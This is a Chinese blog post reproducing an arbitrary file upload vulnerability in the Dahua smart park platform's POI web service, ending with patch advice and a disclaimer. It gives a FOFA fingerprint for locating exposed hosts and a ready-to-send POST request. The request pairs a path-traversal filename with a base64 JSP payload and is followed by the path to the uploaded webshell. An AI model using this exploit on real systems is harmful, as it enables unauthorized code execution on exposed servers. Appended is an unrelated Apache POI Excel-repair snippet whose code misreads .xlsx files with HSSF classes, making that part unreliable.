大华智慧园区poi任意文件上传漏洞(企业及时修复)

文章报道了大华智慧园区的POI服务存在文件上传漏洞,提供了一个POC示例。建议用户及时打补丁并限制访问源,以防止安全风险。同时强调内容仅供技术讨论,非法律途径使用需负法律责任。
摘要由CSDN通过智能技术生成

大华智慧园区 poi 任意文件上传漏洞复现 (截止发文时间,部分网站已修复)

还是老规矩,fofa先上
fofa指纹:body=”/WPMS/asset/lib/gridster/“

图片

主站页面如下

图片

上poc

图片

POC文字版

 
  1. POST /emap/webservice/gis/soap/poi HTTP/1.1

  2. Host: e.m.p.e:ror

  3. /../../emperor.jsp

  4. PCVAcGFnZSBpbXBvcnQ9ImphdmEudGV4dC4qLGphdmEudXRpbC4qLGphdmEuaW8uKiIlPg

  5. o8JQpTaW1wbGVEYXRlRm9ybWF0IGRmID0gbmV3IFNpbXBsZURhdGVGb3JtYXQoInl5eS1NTS1kZC

  6. BISDptbTpzcyIpOwpvdXQucHJpbnRsbihkZi5mb3JtYXQobmV3IERhdGUoKSkpOwpGaWxlIGZpbGUg

  7. PSBuZXcgRmlsZShhcHBsaWNhdGlvbi5nZXRSZWFsUGF0aChyZXF1ZXN0LmdldFNlcnZsZXRQYXRoKC

  8. kpKTsKZmlsZS5kZWxldGUoKTsKJT4=

传了马以后直接访问

图片

文字路径:/upload/马子.jsp

0x05 修复建议

    建议使用相关系统的用户在尽快打补丁的同时,做好访问来源的限制,尽量避免大华智慧园区综合管理平台暴露在公网或不安全的网络环境中。

  申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!


渗透工具

技术文档、书籍

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

应急响应笔记

学习路线

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Apache POI 是一个用于读写 Microsoft Office 格式文件的 Java 库。它可以用来修复损坏的 Excel 文件。下面是修复损坏的 Excel 文件的步骤: 1. 使用 POIFSFileSystem 对象读取 Excel 文件。 2. 使用 HSSFWorkbook 对象读取 Excel 文件中的工作簿。 3. 使用 HSSFSheet 对象读取工作簿中的工作表。 4. 使用 HSSFRow 对象读取工作表中的行。 5. 使用 HSSFCell 对象读取行中的单元格。 6. 如果损坏的单元格可以修复,则使用 HSSFCellStyle 对象设置单元格的样式。 7. 使用 HSSFCell 对象设置单元格的值。 8. 使用 FileOutputStream 对象将修复后的 Excel 文件写回磁盘。 以下是一个简单的示例: ```java import java.io.FileInputStream; import java.io.FileOutputStream; import org.apache.poi.hssf.usermodel.HSSFWorkbook; import org.apache.poi.poifs.filesystem.POIFSFileSystem; import org.apache.poi.ss.usermodel.Cell; import org.apache.poi.ss.usermodel.Row; import org.apache.poi.ss.usermodel.Sheet; public class ExcelRepair { public static void main(String[] args) throws Exception { String filename = "corrupted.xlsx"; FileInputStream fis = new FileInputStream(filename); POIFSFileSystem fs = new POIFSFileSystem(fis); HSSFWorkbook wb = new HSSFWorkbook(fs); Sheet sheet = wb.getSheetAt(0); Row row = sheet.getRow(0); Cell cell = row.getCell(0); if (cell.getStringCellValue().equals("CORRUPTED")) { cell.setCellValue("FIXED"); } FileOutputStream fos = new FileOutputStream(filename); wb.write(fos); fos.close(); wb.close(); } } ``` 这个示例假设 Excel 文件中的第一个单元格的值为 "CORRUPTED",它将被替换为 "FIXED"。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值